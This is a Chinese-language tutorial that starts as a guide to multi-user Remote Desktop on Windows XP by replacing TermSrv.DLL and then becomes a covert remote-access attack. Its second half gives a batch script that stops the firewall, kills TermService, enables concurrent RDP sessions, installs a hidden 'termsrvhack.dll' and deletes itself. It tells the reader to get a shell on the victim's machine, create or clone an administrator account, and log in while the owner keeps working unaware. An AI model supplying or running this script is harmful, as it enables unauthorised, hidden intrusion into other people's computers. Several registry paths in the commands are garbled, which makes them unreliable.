Windows XP中實現多用戶同玩一臺電腦
第一步:首先是在Windows XP上安裝SP2正式版,按照常規方式安裝即可,這里不再贅述。
第二步:準備一份版本較早的SP2終端服務器軟件(據說從Build 2082開始該功能就被禁止了,所以最好使用之前版本),中文SP2測試版較難找到,我用的是英文版Build 2055,運行之后沒有發現任何問題。你可以從http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act' target='_blank'>http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act=Attach&type=post&id=161513下載Build 2055的終端服務器執行文件TermSrv.DLL。從這個鏈接下載來的是一個擴展名為.DL_的文件,你可以把它的擴展名改成ZIP文件,然后用WinRAR解開它。
第三步:接下來,以安全模式啟動Windows XP,如果有多個操作系統,可以啟動另一個能訪問Windows XP系統分區的系統(除非安裝了第三方工具軟件,否則Windows 98不能訪問NTFS分區,因此Windows 98可能沒用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL備份一下,在所有TermSrv.DLL文件出現的位置,用Build 2055版本的TermSrv.DLL覆蓋。通常,TermSrv.DLL至少出現在二個位置,分別是:Windowssystem32,Windowssystem32dllcache。凡是原來有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆蓋。
第四步:以正常模式啟動Windows XP,如果系統的文件保護功能提示說TermSrv.DLL文件已被修改,并詢問是否要復原,選擇否。
第五步:最后還要修改一下注冊表,增加終端服務器的多用戶許可。鑒于修改注冊表比較麻煩而且容易出錯,你可以用下面的批命令修改注冊表:
@echo offsetlocalset regkey='HKLMSYSTEMCurrentControlSetControlTerminal ServerLicensing Core'reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /fendlocal
將上述內容保存為一個批命令文件,如AA.BAT,雙擊執行一下就可以了。
我不推薦這種做法 ,太煩鎖了,而且還要讓系統重起過。我們可以寫一個批處理文件使系統不用重起就實現XP多用戶登陸,首先我們先來了解一個對注冊表操作的命令參數:
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [Machine]FullKey Machine 遠程機器名 - 忽略默認到當前機器。遠程機器上 只有 HKLM 和 HKU。 FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey所選 ROOTKEY 下注冊表項的完整名。
/v;;所選項之下要添加的值名。
/ve;;為注冊表項添加空白值名(默認)。
/t;;RegKey 數據類型 [ REG_SZ| REG_MULTI_SZ | REG_EXPAND_SZ | REG_DWORD | REG_BINARY| REG_NONE;;] 如果忽略,則采用 REG_SZ。
/s;;指定一個在 REG_MULTI_SZ 數據字符串中用作分隔符的字符 如果忽略,則將 '' 用作分隔符。
/d;;要分配給添加的注冊表 ValueName 的數據。
/f;;不用提示就強行覆蓋現有注冊表項。
例如:
REG ADD ABCHKLMSoftwareMyCo 添加遠程機器 ABC 上的一個注冊表項 HKLMSoftwareMyCo
REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead 添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)
REG ADD HKLMSoftwareMyCo /v MRU /t REG_MULTI_SZ /d faxmail 添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: faxmail)
REG ADD HKLMSoftwareMyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% 添加一個值(名稱: Path,類型: REG_EXPAND_SZ,數據: %systemroot%) 注意: 在擴充字符串中使用插入符號 ( ^ )
為了讓系統不重起,我們可以用shutdown -a 這個命令。
根據上面找來的資料,我們可以編寫一個批處理,實現XP系統多用戶登陸而又不用重起系統。
代碼如下:
@echo off@net stop sharedaccess@ntsd -c q -p 'pid'@reg add HKLMSOFTWAREMicrosoftWindows' 'NTCurrentVersionWinlogon /v KeepRASConnections /t REG_SZ /d 1 /f@reg add HKLMSYSTEMCurrentControlSetControlTerminal' 'Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f@reg add HKLMSYSTEMCurrentControlSetcontrolterminal' 'serverLicensing' 'Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f@reg add HKLMSYSTEMCurrentControlSetServicesTermServiceParameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%system32termsrvhack.dll /f@copy c:termsrvhack.dll c:windowssystem32dllcachetermsrvhack.dll@attrib +h +s +r c:windowssystem32dllcachetermsrvhack.dll@copy c:termsrvhack.dll c:windowssystem32termsrvhack.dll@attrib +h +s +r c:windowssystem32termsrvhack.dll@shutdown -a@del c:termsrvhack.dll@net start termservice@del c:3389.bat
其中“pid”是要替換成TermService服務的PID號,可以用命令tasklist/svc命令得到。當然win2000和以下系統是沒有tasklist命令的。具體的操作方法是:先要得到對方的一個SHELL,然后在shell下用第三方軟件打開終端服務,先不要改變默認的3389端口,不然要重起后才登陸,再建一個或克隆一個超級管理員用戶。
接下來把下載好的termsrvhack.dll和上面的批處理傳到對方的C盤根目錄下,然后在shell下運行此批處理。提示成功!
最后打開登陸器,3389終端登陸!
說明一下你登陸進去后在里面的操作和那臺電腦的主人操作是互不影響的,他玩他的,你玩你的,呵呵,爽伐?!
